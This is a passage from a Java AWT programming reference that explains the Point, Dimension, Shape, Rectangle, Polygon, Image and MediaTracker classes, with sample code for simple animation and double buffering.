translate (0, 50);

Note that each call to paint() provides an entirely new Graphics context with its origin in the upper left corner. Therefore, don't expect translations to persist from one call to paint() to the next.

public abstract void dispose ()

The dispose() method frees any system resources used by the Graphics context. It's a good idea to call dispose() whenever you are finished with a Graphics object, rather than waiting for the garbage collector to call it automatically (through finalize()). Disposing of the Graphics object yourself will help your programs on systems with limited resources. However, you should not dispose the Graphics parameter to Component.paint() or Component.update().

public void finalize ()

The garbage collector calls finalize() when it determines that the Graphics object is no longer needed. finalize() calls dispose(), which frees any resources that the Graphics object has used.

public String toString ()

The toString() method of Graphics returns a string showing the current font and color. However, Graphics is an abstract class, and classes that extend Graphics usually override toString(). For example, on a Windows 95 machine, sun.awt.win32.Win32Graphics is the concrete class that extends Graphics. The class's toString() method displays the current origin of the Graphics object, relative to the original coordinate system:

sun.awt.win32.Win32Graphics[0,0]

Previous | Home | Next
Summary | Book Index | Point
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.2 Point

Previous Chapter 2
Simple Graphics 		Next

2.2 Point

The Point class encapsulates x and y coordinates within a single object. It is probably one of the most underused classes within Java. Although there are numerous places within AWT where you would expect to see a Point, its appearances are surprisingly rare. Java 1.1 is starting to use Point more heavily. The Point class is most often used when a method needs to return a pair of coordinates; it lets the method return both x and y as a single object. Unfortunately, Point usually is not used when a method requires x and y coordinates as arguments; for example, you would expect the Graphics class to have a version of translate() that takes a point as an argument, but there isn't one.

The Point class does not represent a point on the screen. It is not a visual object; there is no drawPoint() method.

Point Methods

Variables

The two public variables of Point represent a pair of coordinates. They are accessible directly or use the getLocation() method. There is no predefined origin for the coordinate space.

public int x

The coordinate that represents the horizontal position.

public int y

The coordinate that represents the vertical position.

Constructors

public Point ()

The first constructor creates an instance of Point with an initial x value of 0 and an initial y value of 0.

public Point (int x, int y)

The next constructor creates an instance of Point with an initial x value of x and an initial y value of y.

public Point (Point p)

The last constructor creates an instance of Point from another point, the x value of p.x and an initial y value of p.y.

Locations

public Point getLocation () (New)

The getLocation() method retrieves the current location of this point as a new Point.

public void setLocation (int x, int y) (New)
public void move (int x, int y) (Deprecated)

The setLocation() method changes the point's location to (x, y).

move() is the Java 1.0 name for this method.

public void setLocation (Point p) (New)

This setLocation() method changes the point's location to (p.x, p.y).

public void translate (int x, int y)

The translate() method moves the point's location by adding the parameters (x, y) to the corresponding fields of the Point. If the original Point p is (3, 4) and you call p.translate(4, -5), the new value of p is (7, -1).

Miscellaneous methods

public int hashCode ()

The hashCode() method returns a hash code for the point. The system calls this method when a Point is used as the key for a hash table.

public boolean equals (Object object)

The equals() method overrides the Object.equals() method to define equality for points. Two Point objects are equal if their x and y values are equal.

public String toString ()

The toString() method of Point displays the current values of the x and y variables. For example:

java.awt.Point[x=100,y=200]

Previous | Home | Next
Graphics | Book Index | Dimension
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.3 Dimension

Previous Chapter 2
Simple Graphics 		Next

2.3 Dimension

The Dimension class is similar to the Point class, except it encapsulates a width and height in a single object. Like Point, Dimension is somewhat underused; it is used primarily by methods that need to return a width and a height as a single object; for example, getSize() returns a Dimension object.

Dimension Methods

Variables

A Dimension instance has two variables, one for width and one for height. They are accessible directly or through use of the getSize() method.

public int width

The width variable represents the size of an object along the x axis (left to right). Width should not be negative; however, there is nothing within the class to prevent this from happening.

public int height

The height variable represents the size of an object along the y axis (top to bottom). Height should not be negative; however, there is nothing within the class to prevent this from happening.

Constructors

public Dimension ()

This constructor creates a Dimension instance with a width and height of 0.

public Dimension (Dimension dim)

This constructor creates a copy of dim. The initial width is dim.width. The initial height is dim.height.

public Dimension (int width, int height)

This constructor creates a Dimension with an initial width of width and an initial height of height.

Sizing

public Dimension getSize () (New)

The getSize() method retrieves the current size as a new Dimension, even though the instance variables are public.

public void setSize (int width, int height) (New)

The setSize() method changes the dimension's size to width x height.

public void setSize (Dimension d) (New)

The setSize() method changes the dimension's size to d.width x d.height.

Miscellaneous methods

public boolean equals (Object object)

The equals() method overrides the Object.equals() method to define equality for dimensions. Two Dimension objects are equal if their width and height values are equal.

public String toString ()

The toString() method of Dimension returns a string showing the current width and height settings. For example:

java.awt.Dimension[width=0,height=0]

Previous | Home | Next
Point | Book Index | Shape
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.4 Shape

Previous Chapter 2
Simple Graphics 		Next

2.4 Shape

The new Shape interface defines a single method; it requires a geometric object to be able to report its bounding box. Currently, the Rectangle and Polygon classes implement Shape; one would expect other geometric classes to implement Shape in the future. Although Component has the single method defined by the Shape interface, it does not implement the interface.

Shape Method

public abstract Rectangle getBounds() (New)

The getBounds() method returns the shape's bounding Rectangle. Once you have the bounding area, you can use methods like Graphics.copyArea() to copy the shape.

Previous | Home | Next
Dimension | Book Index | Rectangle
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.5 Rectangle

Previous Chapter 2
Simple Graphics 		Next

2.5 Rectangle

The Rectangle class encapsulates x and y coordinates and width and height (Point and Dimension information) within a single object. It is often used by methods that return a rectangular boundary as a single object: for example, Polygon.getBounds(), Component.getBounds(), and Graphics.getClipBounds(). Like Point, the Rectangle class is not a visual object and does not represent a rectangle on the screen; ironically, drawRect() and fillRect() don't take Rectangle as an argument.

Rectangle Methods

Variables

The four public variables available for Rectangle have the same names as the public instance variables of Point and Dimension. They are all accessible directly or through use of the getBounds() method.

public int x

The x coordinate of the upper left corner.

public int y

The y coordinate of the upper left corner.

public int width

The width variable represents the size of the Rectangle along the horizontal axis (left to right). Width should not be negative; however, there is nothing within the class to prevent this from happening.

public int height

The height variable represents the size of the Rectangle along the vertical axis (top to bottom). Height should not be negative; however, there is nothing within the class to prevent this from happening.

Constructors

The following seven constructors create Rectangle objects. When you create a Rectangle, you provide the location of the top left corner, along with the Rectangle's width and height. A Rectangle located at (0,0) with a width and height of 100 has its bottom right corner at (99, 99). The Point (100, 100) lies outside the Rectangle, since that would require a width and height of 101.

public Rectangle ()

This Rectangle constructor creates a Rectangle object in which x, y, width, and height are all 0.

public Rectangle (int width, int height)

This Rectangle constructor creates a Rectangle with (x, y) coordinates of (0,0) and the specified width and height. Notice that there is no Rectangle(int x, int y) constructor because that would have the same method signature as this one, and the compiler would have no means to differentiate them.

public Rectangle (int x, int y, int width, int height)

The Rectangle constructor creates a Rectangle object with an initial x coordinate of x, y coordinate of y, width of width, and height of height. Height and width should be positive, but the constructor does not check for this.

public Rectangle (Rectangle r)

This Rectangle constructor creates a Rectangle matching the original. The (x, y) coordinates are (r.x, r.y), with a width of r.width and a height of r.height.

public Rectangle (Point p, Dimension d)

This Rectangle constructor creates a Rectangle with (x, y) coordinates of (p.x, p.y), a width of d.width, and a height of d.height.

public Rectangle (Point p)

This Rectangle constructor creates a Rectangle with (x, y) coordinates of (p.x, p.y). The width and height are both zero.

public Rectangle (Dimension d)

The last Rectangle constructor creates a Rectangle with (x, y) coordinates of (0, 0). The initial Rectangle width is d.width and height is d.height.

Shaping and sizing

public Rectangle getBounds() (New)

The getBounds() method returns a copy of the original Rectangle.

public void setBounds (int x, int y, int width, int height) (New)
public void reshape (int x, int y, int width, int height) (Deprecated)

The setBounds() method changes the origin of the Rectangle to (x, y) and changes the dimensions to width by height.

reshape() is the Java 1.0 name for this method.

public void setBounds (Rectangle r) (New)

The setBounds() method changes the origin of the Rectangle to (r.x, r.y) and changes the dimensions to r.width by r.height.

public Point getLocation() (New)

The getLocation()retrieves the current origin of this rectangle as a Point.

public void setLocation (int x, int y) (New)
public void move (int x, int y) (Deprecated)

The setLocation() method changes the origin of the Rectangle to (x, y).

move() is the Java 1.0 name for this method.

public void setLocation (Point p) (New)

The setLocation() method changes the Rectangle's origin to (p.x, p.y).

public void translate (int x, int y)

The translate() method moves the Rectangle's origin by the amount (x, y). If the original Rectangle's location (r) is (3, 4) and you call r.translate (4, 5), then r's location becomes (7, 9). x and y may be negative. translate() has no effect on the Rectangle's width and height.

public Dimension getSize () (New)

The getSize() method retrieves the current size of the rectangle as a Dimension.

public void setSize() (int width, int height) (New)
public void resize (int width, int height) (Deprecated)

The setSize() method changes the Rectangle's dimensions to width x height.

resize() is the Java 1.0 name for this method.

public void setSize() (Dimension d) (New)

The setSize() method changes the Rectangle's dimensions to d.width x d.height.

public void grow (int horizontal, int vertical)

The grow() method increases the Rectangle's dimensions by adding the amount horizontal on the left and the right and adding the amount vertical on the top and bottom. Therefore, all four of the rectangle's variables change. If the original location is (x, y), the new location will be (x-horizontal, y-vertical) (moving left and up if both values are positive); if the original size is (width, height), the new size will be (width+2*horizontal, height+2*vertical). Either horizontal or vertical can be negative to decrease the size of the Rectangle. The following code demonstrates the changes:

import java.awt.Rectangle;
public class rect {
    public static void main (String[] args) {
        Rectangle r = new Rectangle (100, 100, 200, 200);
        System.out.println (r);
        r.grow (50, 75);
        System.out.println (r);
        r.grow (-25, -50);
        System.out.println (r);
    }
}

This program produces the following output:

java.awt.Rectangle[x=100,y=100,width=200,height=200]
java.awt.Rectangle[x=50,y=25,width=300,height=350]
java.awt.Rectangle[x=75,y=75,width=250,height=250]

public void add (int newX, int newY)

The add() method incorporates the point (newX, newY) into the Rectangle. If this point is already in the Rectangle, there is no change. Otherwise, the size of the Rectangle increases to include (newX, newY) within itself.

public void add (Point p)

This add() method incorporates the point (p.x, p.y) into the Rectangle. If this point is already in the Rectangle, there is no change. Otherwise, the size of the Rectangle increases to include (p.x, p.y) within itself.

public void add (Rectangle r)

This add() method incorporates another Rectangle r into this Rectangle. This transforms the current rectangle into the union of the two Rectangles. This method might be useful in a drawing program that lets you select multiple objects on the screen and create a rectangular area from them.

We will soon encounter a method called union() that is almost identical. add() and union() differ in that add() modifies the current Rectangle, while union() returns a new Rectangle. The resulting rectangles are identical.

Intersections

public boolean contains (int x, int y) (New)
public boolean inside (int x, int y) (Deprecated)

The contains() method determines if the point (x, y) is within this Rectangle. If so, true is returned. If not, false is returned.

inside() is the Java 1.0 name for this method.

public boolean contains (Point p) (New)

The contains() method determines if the point (p.x, p.y) is within this Rectangle. If so, true is returned. If not, false is returned.

public boolean intersects (Rectangle r)

The intersects() method checks whether Rectangle r crosses this Rectangle at any point. If it does, true is returned. If not, false is returned.

public Rectangle intersection (Rectangle r)

The intersection() method returns a new Rectangle consisting of all points that are in both the current Rectangle and Rectangle r. For example, if r = new Rectangle (50, 50, 100, 100) and r1 = new Rectangle (100, 100, 75, 75), then r.intersection (r1) is the Rectangle (100, 100, 50, 50), as shown in Figure 2.13.

public Rectangle union (Rectangle r)

The union() method combines the current Rectangle and Rectangle r to form a new Rectangle. For example, if r = new Rectangle (50, 50, 100, 100) and r1 = new Rectangle (100, 100, 75, 75), then r.union (r1) is the Rectangle (50, 50, 125, 125). The original rectangle is unchanged. Figure 2.14 demonstrates the effect of union(). Because fillRect() fills to width-1 and height-1, the rectangle drawn appears slightly smaller than you would expect. However, that's an artifact of how rectangles are drawn; the returned rectangle contains all the points within both.

Figure 2.13: Rectangle intersection

[Graphic: Figure 2-13]

Figure 2.14: Rectangle union

[Graphic: Figure 2-14]

Miscellaneous methods

public boolean isEmpty ()

The isEmpty() method checks whether there are any points within the Rectangle. If the width and height of the Rectangle are both 0 (or less), the Rectangle is empty, and this method returns true. If either width or height is greater than zero, isEmpty() returns false. This method could be used to check the results of a call to any method that returns a Rectangle object.

public int hashCode ()

The hashCode() method returns a hash code for the rectangle. The system calls this method when a Rectangle is used as the key for a hash table.

public boolean equals (Object object)

The equals() method overrides the Object's equals() method to define what equality means for Rectangle objects. Two Rectangle objects are equal if their x, y, width, and height values are equal.

public String toString ()

The toString() method of Rectangle displays the current values of the x, y, width, and height variables. For example:

java.awt.Rectangle[x=100,y=200,width=300,height=400]

Previous | Home | Next
Shape | Book Index | Polygon
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.6 Polygon

Previous Chapter 2
Simple Graphics 		Next

2.6 Polygon

A Polygon is a collection of points used to create a series of line segments. Its primary purpose is to draw arbitrary shapes like triangles or pentagons. If the points are sufficiently close, you can create a curve. To display the Polygon, call drawPolygon() or fillPolygon().

Polygon Methods

Variables

The collection of points maintained by Polygon are stored in three variables:

public int npoints

The npoints variable stores the number of points.

public int xpoints[]

The xpoints array holds the x component of each point.

public int ypoints[]

The ypoints array holds the y component of each point.

You might expect the Polygon class to use an array of points, rather than separate arrays of integers. More important, you might expect the instance variables to be private or protected, which would prevent them from being modified directly. Since the three instance variables are public, there is no guarantee that the array sizes are in sync with each other or with npoints. To avoid trouble, always use addPoints() to modify your polygons, and avoid modifying the instance variables directly. Constructors

public Polygon ()

This constructor creates an empty Polygon.

public Polygon (int xPoints[], int yPoints[], int numPoints)

This constructor creates a Polygon that consists of numPoints points. Those points are formed from the first numPoints elements of the xPoints and yPoints arrays. If the xPoints or yPoints arrays are larger than numPoints, the additional entries are ignored. If the xPoints or yPoints arrays do not contain at least numPoints elements, the constructor throws the run-time exception ArrayIndexOutOfBoundsException.

Miscellaneous methods

public void addPoint (int x, int y)

The addPoint() method adds the point (x, y) to the Polygon as its last point. If you alter the xpoints, ypoints, and npoints instance variables directly, addPoint() could add the new point at a place other than the end, or it could throw the run-time exception ArrayIndexOutOfBoundsException with a message showing the position at which it tried to add the point. Again, for safety, don't modify a Polygon's instance variables yourself; always use addPoint().

public Rectangle getBounds () (New)
public Rectangle getBoundingBox () (Deprecated)

The getBounds() method returns the Polygon's bounding Rectangle (i.e., the smallest rectangle that contains all the points within the polygon). Once you have the bounding box, it's easy to use methods like copyArea() to copy the Polygon.

getBoundingBox() is the Java 1.0 name for this method.

public boolean contains (int x, int y) (New)
public boolean inside (int x, int y) (Deprecated)

The contains() method checks to see if the (x, y) point is within an area that would be filled if the Polygon was drawn with Graphics.fillPolygon(). A point may be within the bounding rectangle of the polygon, but contains() can still return false if not within a closed part of the polygon.

inside() is the Java 1.0 name for this method.

public boolean contains (Point p) (New)

The contains() method checks to see if the point p is within an area that would be filled if the Polygon were drawn with Graphics.fillPolygon().

public void translate (int x, int y) (New)

The translate() method moves all the Polygon's points by the amount (x, y). This allows you to alter the location of the Polygon by shifting the points.

Previous | Home | Next
Rectangle | Book Index | Image
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.7 Image

Previous Chapter 2
Simple Graphics 		Next

2.7 Image

An Image is a displayable object maintained in memory. AWT has built-in support for reading files in GIF and JPEG format, including GIF89a animation. Netscape Navigator, Internet Explorer, HotJava, and Sun's JDK also understand the XBM image format. Images are loaded from the filesystem or network by the getImage() method of either Component or Toolkit, drawn onto the screen with drawImage() from Graphics, and manipulated by several objects within the java.awt.image package. Figure 2.15 shows an Image.

Figure 2.15: An Image

[Graphic: Figure 2-15]

Image is an abstract class implemented by many different platform-specific classes. The system that runs your program will provide an appropriate implementation; you do not need to know anything about the platform-specific classes, because the Image class completely defines the API for working with images. If you're curious, the platform-specific packages used by the JDK are:

  • sun.awt.win32.Win32Image on Java 1.0 Windows NT/95 platforms

  • sun.awt.windows.WImage on Java 1.1 Windows NT/95 platforms

  • sun.awt.motif.X11Image on UNIX/Motif platforms

  • sun.awt.macos.MacImage on the Macintosh

This section covers only the Image object itself. AWT also includes a package named java.awt.image that includes more advanced image processing utilities. The classes in java.awt.image are covered in Chapter 12, Image Processing.

Image Methods

Constants

public static final Object UndefinedProperty

In Java 1.0, the sole constant of Image is UndefinedProperty. It is used as a return value from the getProperty() method to indicate that the requested property is unavailable.

Java 1.1 introduces the getScaledInstance() method. The final parameter to the method is a set of hints to tell the method how best to scale the image. The following constants provide possible values for this parameter.

public static final int SCALE_DEFAULT (New)

The SCALE_DEFAULT hint should be used alone to tell getScaledInstance() to use the default scaling algorithm.

public static final int SCALE_FAST (New)

The SCALE_FAST hint tells getScaledInstance() that speed takes priority over smoothness.

public static final int SCALE_SMOOTH (New)

The SCALE_SMOOTH hint tells getScaledInstance() that smoothness takes priority over speed.

public static final int SCALE_REPLICATE (New)

The SCALE_REPLICATE hint tells getScaledInstance() to use ReplicateScaleFilter or a reasonable alternative provided by the toolkit. ReplicateScaleFilter is discussed in Chapter 12, Image Processing.

public static final int SCALE_AREA_AVERAGING (New)

The SCALE_AREA_AVERAGING hint tells getScaledInstance() to use AreaAveragingScaleFilter or a reasonable alternative provided by the toolkit. AreaAveragingScaleFilter is discussed in Chapter 12, Image Processing.

Constructors

There are no constructors for Image. You get an Image object to work with by using the getImage() method of Applet (in an applet), Toolkit (in an application), or the createImage() method of Component or Toolkit. getImage() uses a separate thread to fetch the image. The thread starts when you call drawImage(), prepareImage(), or any other method that requires image information. getImage() returns immediately. You can also use the MediaTracker class to force an image to load before it is needed. MediaTracker is discussed in the next section. Characteristics

public abstract int getWidth (ImageObserver observer)

The getWidth() method returns the width of the image object. The width may not be available if the image has not started loading; in this case, getWidth() returns -1. An image's size is available long before loading is complete, so it is often useful to call getWidth() while the image is loading.

public abstract int getHeight (ImageObserver observer)

The getHeight() method returns the height of the image object. The height may not be available if the image has not started loading; in this case, the getHeight() method returns -1. An image's size is available long before loading is complete, so it is often useful to call getHeight() while the image is loading.

Miscellaneous methods

public Image getScaledInstance (int width, int height, int hints) (New)

The getScaledInstance() method enables you to generate scaled versions of images before they are needed. Prior to Java 1.1, it was necessary to tell the drawImage() method to do the scaling. However, this meant that scaling didn't take place until you actually tried to draw the image. Since scaling takes time, drawing the image required more time; the net result was degraded appearance. With Java 1.1, you can generate scaled copies of images before drawing them; then you can use a version of drawImage() that does not do scaling, and therefore is much quicker.

The width parameter of getScaledInstance() is the new width of the image. The height parameter is the new height of the image. If either is -1, the scaling retains the aspect ratio of the original image. For instance, if the original image size was 241 by 72 pixels, and width and height were 100 and -1, the new image size would be 100 by 29 pixels. If both width and height are -1, the getScaledInstance() method retains the image's original size. The hints parameter is one of the Image class constants.

Image i = getImage (getDocumentBase(), "rosey.jpg");
Image j = i.getScaledInstance (100, -1, Image.SCALE_FAST);

public abstract ImageProducer getSource ()

The getSource() method returns the image's producer, which is an object of type ImageProducer. This object represents the image's source. Once you have the ImageProducer, you can use it to do additional image processing; for example, you could create a modified version of the original image by using a FilteredImageSource. Image producers and image filters are covered in Chapter 12, Image Processing.

public abstract Graphics getGraphics ()

The getGraphics() method returns the image's graphics context. The method getGraphics() works only for Image objects created in memory with Component.createImage (int, int). If the image came from a URL or a file (i.e., from getImage()), getGraphics() throws the run-time exception ClassCastException.

public abstract Object getProperty (String name, ImageObserver observer)

The getProperty() method interacts with the image's property list. An object representing the requested property name will be returned for observer. observer represents the Component on which the image is rendered. If the property name exists but is not available yet, getProperty() returns null. If the property name does not exist, the getProperty() method returns the Image.UndefinedProperty object.

Each image type has its own property list. A property named comment stores a comment String from the image's creator. The CropImageFilter adds a property named croprect. If you ask getProperty() for an image's croprect property, you get a Rectangle that shows how the original image was cropped.

public abstract void flush()

The flush() method resets an image to its initial state. Assume you acquire an image over the network with getImage(). The first time you display the image, it will be loaded over the network. If you redisplay the image, AWT normally reuses the original image. However, if you call flush() before redisplaying the image, AWT fetches the image again from its source. (Images created with createImage() aren't affected.) The flush() method is useful if you expect images to change while your program is running. The following program demonstrates flush(). It reloads and displays the file flush.gif every time you click the mouse. If you change the file flush.gif and click on the mouse, you will see the new file.

import java.awt.*;
public class flushMe extends Frame {
    Image im;
    flushMe () {
        super ("Flushing");
        im = Toolkit.getDefaultToolkit().getImage ("flush.gif");
        resize (175, 225);
    }
    public void paint (Graphics g) {
        g.drawImage (im, 0, 0, 175, 225, this);
    }
    public boolean mouseDown (Event e, int x, int y) {
        im.flush();
        repaint();
        return true;
    }
    public static void main (String [] args) {
        Frame f = new flushMe ();
        f.show();
    }
}

Simple Animation

Creating simple animation sequences in Java is easy. Load a series of images, then display the images one at a time. Example 2.1 is an application that displays a simple animation sequence. Example 2.2 is an applet that uses a thread to run the application. These programs are far from ideal. If you try them, you'll probably notice some flickering or missing images. We discuss how to fix these problems shortly.

Example 2.1: Animation Application

import java.awt.*;
public class Animate extends Frame {
    static Image im[];
    static int numImages = 12;
    static int counter=0;
    Animate () {
        super ("Animate");
    }
    public static void main (String[] args) {
        Frame f = new Animate();
        f.resize (225, 225);
        f.show();
        im = new Image[numImages];
        for (int i=0;i<numImages;i++) {
            im[i] = Toolkit.getDefaultToolkit().getImage ("clock"+i+".jpg");
        }
    }
    public synchronized void paint (Graphics g) {
        g.translate (insets().left, insets().top);
        g.drawImage (im[counter], 0, 0, this);
        counter++;
        if (counter == numImages)
            counter = 0;
        repaint (200);
    }
}

This application displays images with the name clockn.jpg, where n is a number between 0 and 11. It fetches the images using the getImage() method of the Toolkit class--hence, the call to Toolkit.getDefaultToolkit(), which gets a Toolkit object to work with. The paint() method displays the images in sequence, using drawImage(). paint() ends with a call to repaint(200), which schedules another call to paint() in 200 milliseconds.

The AnimateApplet, whose code is shown in Example 2.2, does more or less the same thing. It is able to use the Applet.getImage() method. A more significant difference is that the applet creates a new thread to control the animation. This thread calls sleep(200), followed by repaint(), to display a new image every 200 milliseconds.

Example 2.2: Multithreaded Animation Applet

import java.awt.*;
import java.applet.*;
public class AnimateApplet extends Applet implements Runnable {
    static Image im[];
    static int numImages = 12;
    static int counter=0;
    Thread animator;
    public void init () {
        im = new Image[numImages];
        for (int i=0;i<numImages;i++)
            im[i] = getImage (getDocumentBase(), "clock"+i+".jpg");
    }
    public void start() {
        if (animator == null) {
            animator = new Thread (this);
            animator.start ();
        }
    }
    public void stop() {
        if ((animator != null) && (animator.isAlive())) {
            animator.stop();
            animator = null;
        }
    }
    public void run () {
        while (animator != null) {
            try {
                animator.sleep(200);
                repaint ();
                counter++;
                if (counter==numImages)
                    counter=0;
            } catch (Exception e) {
                e.printStackTrace ();
            }
        }
    }
    public void paint (Graphics g) {
        g.drawImage (im[counter], 0, 0, this);
    }
}

One quick fix will help the flicker problem in both of these examples. The update() method (which is inherited from the Component class) normally clears the drawing area and calls paint(). In our examples, clearing the drawing area is unnecessary and, worse, results in endless flickering; on slow machines, you'll see update() restore the background color between each image. It's a simple matter to override update() so that it doesn't clear the drawing area first. Add the following method to both of the previous examples:

public void update (Graphics g) {
    paint (g);
}

Overriding update() helps, but the real solution to our problem is double buffering, which we'll turn to next.

Double Buffering

Double buffering means drawing to an offscreen graphics context and then displaying this graphics context to the screen in a single operation. So far, we have done all our drawing directly on the screen--that is, to the graphics context provided by the paint() method. As your programs grow more complex, paint() gets bigger and bigger, and it takes more time and resources to update the entire drawing area. On a slow machine, the user will see the individual drawing operations take place, which will make your program look slow and clunky. By using the double buffering technique, you can take your time drawing to another graphics context that isn't displayed. When you are ready, you tell the system to display the completely new image at once. Doing so eliminates the possibility of seeing partial screen updates and flickering.

The first thing you need to do is create an image as your drawing canvas. To get an image object, call the createImage() method. createImage() is a method of the Component class, which we will discuss in Chapter 5, Components. Since Applet extends Component, you can call createImage() within an applet. When creating an application and extending Frame, createImage() returns null until the Frame's peer exists. To make sure that the peer exists, call addNotify() in the constructor, or make sure you call show() before calling createImage(). Here's the call to the createImage() method that we'll use to get an Image object:

Image im = createImage (300, 300); // width and height

Once you have an Image object, you have an area you can draw on. But how do you draw on it? There are no drawing methods associated with Image; they're all in the Graphics class. So we need to get a Graphics context from the Image. To do so, call the getGraphics() method of the Image class, and use that Graphics context for your drawing:

Graphics buf = im.getGraphics();

Now you can do all your drawings with buf. To display the drawing, the paint() method only needs to call drawImage(im, . . .). Note the hidden connection between the Graphics object, buf, and the Image you are creating, im. You draw onto buf; then you use drawImage() to render the image on the on-screen Graphics context within paint().

Another feature of buffering is that you do not have redraw the entire image with each call to paint(). The buffered image you're working on remains in memory, and you can add to it at will. If you are drawing directly to the screen, you would have to recreate the entire drawing each time paint() is called; remember, paint() always hands you a completely new Graphics object. Figure 2.16 shows how double buffering works.

Figure 2.16: Double buffering

[Graphic: Figure 2-16]

Example 2.3 puts it all together for you. It plays a game, with one move drawn to the screen each cycle. We still do the drawing within paint(), but we draw into an offscreen buffer; that buffer is copied onto the screen by g.drawImage(im, 0, 0, this). If we were doing a lot of drawing, it would be a good idea to move the drawing operations into a different thread, but that would be overkill for this simple applet.

Example 2.3: Double Buffering--Who Won?

import java.awt.*;
import java.applet.*;
public class buffering extends Applet {
    Image im;
    Graphics buf;
    int pass=0;
    public void init () {
        // Create buffer
        im = createImage (size().width, size().height);
        // Get its graphics context
        buf = im.getGraphics();
        // Draw Board Once
        buf.setColor (Color.red);
        buf.drawLine (  0,  50, 150,  50);
        buf.drawLine (  0, 100, 150, 100);
        buf.drawLine ( 50,   0,  50, 150);
        buf.drawLine (100,   0, 100, 150);
        buf.setColor (Color.black);
    }
    public void paint (Graphics g) {
        // Draw image - changes are written onto buf
        g.drawImage (im, 0, 0, this);
        // Make a move
        switch (pass) {
            case 0:
                buf.drawLine (50, 50, 100, 100);
                buf.drawLine (50, 100, 100, 50);
                break;
            case 1:
                buf.drawOval (0, 0, 50, 50);
                break;
            case 2:
                buf.drawLine (100, 0, 150, 50);
                buf.drawLine (150, 0, 100, 50);
                break;
            case 3:
                buf.drawOval (0, 100, 50, 50);
                break;
            case 4:
                buf.drawLine (0, 50, 50, 100);
                buf.drawLine (0, 100, 50, 50);
                break;
            case 5:
                buf.drawOval (100, 50, 50, 50);
                break;
            case 6:
                buf.drawLine (50,  0, 100, 50);
                buf.drawLine (50, 50, 100,  0);
                break;
            case 7:
                buf.drawOval (50, 100, 50, 50);
                break;
            case 8:
                buf.drawLine (100, 100, 150, 150);
                buf.drawLine (150, 100, 100, 150);
                break;
        }
        pass++;
        if (pass <= 9)
            repaint (500);
    }
}

Previous | Home | Next
Polygon | Book Index | MediaTracker
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.8 MediaTracker

Previous Chapter 2
Simple Graphics 		Next

2.8 MediaTracker

The MediaTracker class assists in the loading of multimedia objects across the network. Tracking is necessary because Java loads images in separate threads. Calls to getImage() return immediately; image loading starts only when you call the method drawImage(). MediaTracker lets you force images to start loading before you try to display them; it also gives you information about the loading process, so you can wait until an image is fully loaded before displaying it.

Currently, MediaTracker can monitor the loading of images, but not audio, movies, or anything else. Future versions are rumored to be able to monitor other media types.

MediaTracker Methods

Constants

The MediaTracker class defines four constants that are used as return values from the class's methods. These values serve as status indicators.

public static final int LOADING

The LOADING variable indicates that the particular image being checked is still loading.

public static final int ABORTED

The ABORTED variable indicates that the loading process for the image being checked aborted. For example, a timeout could have happened during the download. If something ABORTED during loading, it is possible to flush() the image to force a retry.

public static final int ERRORED

The ERRORED variable indicates that an error occurred during the loading process for the image being checked. For instance, the image file might not be available from the server (invalid URL) or the file format could be invalid. If an image has ERRORED, retrying it will fail.

public static final int COMPLETE

The COMPLETE flag means that the image being checked successfully loaded.

If COMPLETE, ABORTED, or ERRORED is set, the image has stopped loading. If you are checking multiple images, you can OR several of these values together to form a composite. For example, if you are loading several images and want to find out about any malfunctions, call statusAll() and check for a return value of ABORTED | ERRORED. Constructors

public MediaTracker (Component component)

The MediaTracker constructor creates a new MediaTracker object to track images to be rendered onto component.

Adding images

The addImage() methods add objects for the MediaTracker to track. When placing an object under a MediaTracker's control, you must provide an identifier for grouping purposes. When multiple images are grouped together, you can perform operations on the entire group with a single request. For example, you might want to wait until all the images in an animation sequence are loaded before starting the animation; in this case, assigning the same ID to all the images makes good sense. However, when multiple images are grouped together, you cannot check on the status of a single image. The moral is: if you care about the status of individual images, put each into a group by itself.

Folklore has it that the identifier also serves as a loading priority, with a lower ID meaning a higher priority. This is not completely true. Current implementations start loading lower IDs first, but at most, this is implementation-specific functionality for the JDK. Furthermore, although an object with a lower identifier might be told to start loading first, the MediaTracker does nothing to ensure that it finishes first.

public synchronized void addImage (Image image, int id, int width, int height)

The addImage() method tells the MediaTracker instance that it needs to track the loading of image. The id is used as a grouping. Someone will eventually render the image at a scaled size of width x height. If width and height are both -1, the image will be rendered unscaled. If you forget to notify the MediaTracker that the image will be scaled and ask the MediaTracker to waitForID (id), it is possible that the image may not be fully ready when you try to draw it.

public void addImage (Image image, int id)

The addImage() method tells the MediaTracker instance that it needs to track the loading of image. The id is used as a grouping. The image will be rendered at its actual size, without scaling.

Removing images

Images that have finished loading are still watched by the MediaTracker. The removeImage() methods, added in Java 1.1, allow you to remove objects from the MediaTracker. Once you no longer care about an image (usually after waiting for it to load), you can remove it from the tracker. Getting rid of loaded images results in better performance because the tracker has fewer objects to check. In Java 1.0, you can't remove an image from MediaTracker.

public void removeImage (Image image) (New)

The removeImage() method tells the MediaTracker to remove all instances of image from its tracking list.

public void removeImage (Image image, int id) (New)

The removeImage() method tells the MediaTracker to remove all instances of image from group id of its tracking list.

public void removeImage (Image image, int id, int width, int height) (New)

This removeImage() method tells the MediaTracker to remove all instances of image from group id and scale width x height of its tracking list.

Waiting

A handful of methods let you wait for a particular image, image group, all images, or a particular time period. They enable you to be sure that an image has finished trying to load prior to continuing. The fact that an image has finished loading does not imply it has successfully loaded. It is possible that an error condition arose, which caused loading to stop. You should check the status of the image (or group) for actual success.

public void waitForID (int id) throws InterruptedException

The waitForID() method blocks the current thread from running until the images added with id finish loading. If the wait is interrupted, waitForID() throws an InterruptedException.

public synchronized boolean waitForID (int id, long ms) throws InterruptedException

The waitForID() method blocks the current thread from running until the images added with id finish loading or until ms milliseconds have passed. If all the images have loaded, waitForID() returns true; if the timer has expired, it returns false, and one or more images in the id set have not finished loading. If ms is 0, it waits until all images added with id have loaded, with no timeout. If the wait is interrupted, waitForID() throws an InterruptedException.

public void waitForAll () throws InterruptedException

